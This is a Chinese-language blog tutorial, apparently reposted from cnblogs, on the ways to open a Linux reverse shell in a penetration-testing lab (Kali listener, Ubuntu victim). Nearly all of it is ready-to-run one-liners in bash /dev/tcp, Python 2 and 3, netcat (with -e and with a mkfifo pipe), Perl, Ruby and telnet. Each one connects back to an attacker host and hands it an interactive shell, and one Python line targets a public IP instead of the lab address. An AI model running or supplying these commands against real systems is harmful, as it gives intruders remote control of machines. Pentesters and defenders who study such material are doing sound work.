首页 > 系统相关 >带你了解LINUX反弹Shell的各种姿势(超详细)

带你了解LINUX反弹Shell的各种姿势(超详细)

时间:2022-11-27 10:46:54浏览次数:37  
标签:姿势 bin Shell socket 192.168 47.155 4444 LINUX os

简介

LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务端的角色反转

本篇文章介绍LINUX反弹Shell的多种姿势, 在真实的渗透环境中, 根据客户端存在哪些命令的实际情况, 来采取相应的反弹shell姿势


实验环境

操作系统 IP地址
Kali Linux(服务端) 192.168.47.155
Ununtu Linux(客户端) 192.168.47.151

服务端监听端口

服务端kali监听端口

nc -lvp 4444

image-20221126161342759


客户端反弹shell

1.bash反弹

bash -i >& /dev/tcp/192.168.47.155/4444 0>&1
  • bash -i 表示在本地打开一个交互式BashSehll
  • /dev/tcp是Linux一个特殊设备, 打开该文件相当于建立socket连接, 读写该文件相当于在socket连接中传输数据
  • 0>&1将标准输入重定向至标准输出

bash -i >& /dev/tcp/192.168.47.155/4444表示将bash的标准输出和标准错误输出发送给远程服务器的4444端口。我们只要客户端主机输入命令, 命令执行的结果以及错误提示都会发送给远程服务器

image-20221126173912240

image-20221126173930758


2.python反弹

python3

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

image-20221126215634494

image-20221126215649332


python2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.47.155",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20221126222452893

image-20221126222459319


3.nc反弹shell

nc 192.168.47.155 4444 -e /bin/bash

-e后面接的参数表示在创建连接后执行的程序

image-20221126220706747

image-20221126220642719


有些老版本的nc不支持-e参数, 可使用如下命令进行反弹

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.47.155 4444 >/tmp/f

image-20221126221325835

image-20221126221348830


4.perl反弹

依赖/bin/sh

perl -e 'use Socket;$i="192.168.47.155";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

image-20221126221711114

image-20221126222013052


不依赖/bin/sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.47.155:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

image-20221126222110406

image-20221126222126949


5.ruby反弹

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.47.155","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

image-20221126232240240

image-20221126232254038


6.telnet反弹

mknod backpipe p && telnet 192.168.47.155 4444 0<backpipe | /bin/bash 1>backpipe

image-20221127001032000

image-20221127001043908

标签:姿势,bin,Shell,socket,192.168,47.155,4444,LINUX,os
From: https://www.cnblogs.com/henry666/p/16929100.html

相关文章

  • go gin 打包到linux
     ​​https://leeay.gitee.io/2022/08/12/go/go_gin%E9%A1%B9%E7%9B%AE%E6%89%93%E5%8C%85%E4%B8%8A%E7%BA%BF%E5%88%B0Linux%E6%9C%8D%E5%8A%A1%E5%99%A8/​​  goenv......
  • Linux 禁用笔记本自带键盘
    #disablexinputlist|grepAT|egrep-o"id=[0-9]*"|egrep-o"[0-9]*"|xargsxinputdisable#enablexinputlist|grepAT|egrep-o"id=[0-9]*"|egre......
  • 如何通过 kubectl 进入 node shell
    概述假设这样一个场景:生产环境中,Node都需要通过堡垒机登录,但是kubectl是可以直接在个人电脑上登录的。这种场景下,我想要通过kubectl登录到K8S集群里的Node,可以......
  • kali linux添加普通用户和权限分配
    kali下添加用户和权限分配添加用户#useradd-mpte#-m的意思是创建用户的主目录为用户pte设置密码。#passwdpte为添加的用户赋予权限(-a添加;-G群组)如......
  • shell脚本去重的几种方法
    测试文件如下:jasonjasonjasonfffffjason第一种去重方法:sort-u文件名或者cat文件名|sort-u[root@bogon~]#sort-utestfffffjason但这......
  • Linux系统常用命令
    1.基本命令pwd显示当前目录路径:pwdcd回到家目录:cd回到上次切换的目录:cd-回到上级目录:cd..切换目录:cd/homels显示当前目录内容:ls查看所有文件(包括隐藏文件):ls......
  • 查看Linux运行时长
    摘自:​​https://blog.51cto.com/u_15060507/3904149​​如果您想了解Linux系统的运行时长,可以在「终端」中命令uptime命令的-p参数来获取Linux运行的天数、小时和......
  • Linux funzip 命令
    Linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与......
  • Linux fuser 命令
    Linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与......
  • Linux gawk 命令
    Linux命令是对Linux系统进行管理的命令。对于Linux系统来说,无论是中央处理器、内存、磁盘驱动器、键盘、鼠标,还是用户等都是文件,Linux系统管理的命令是它正常运行的核心,与......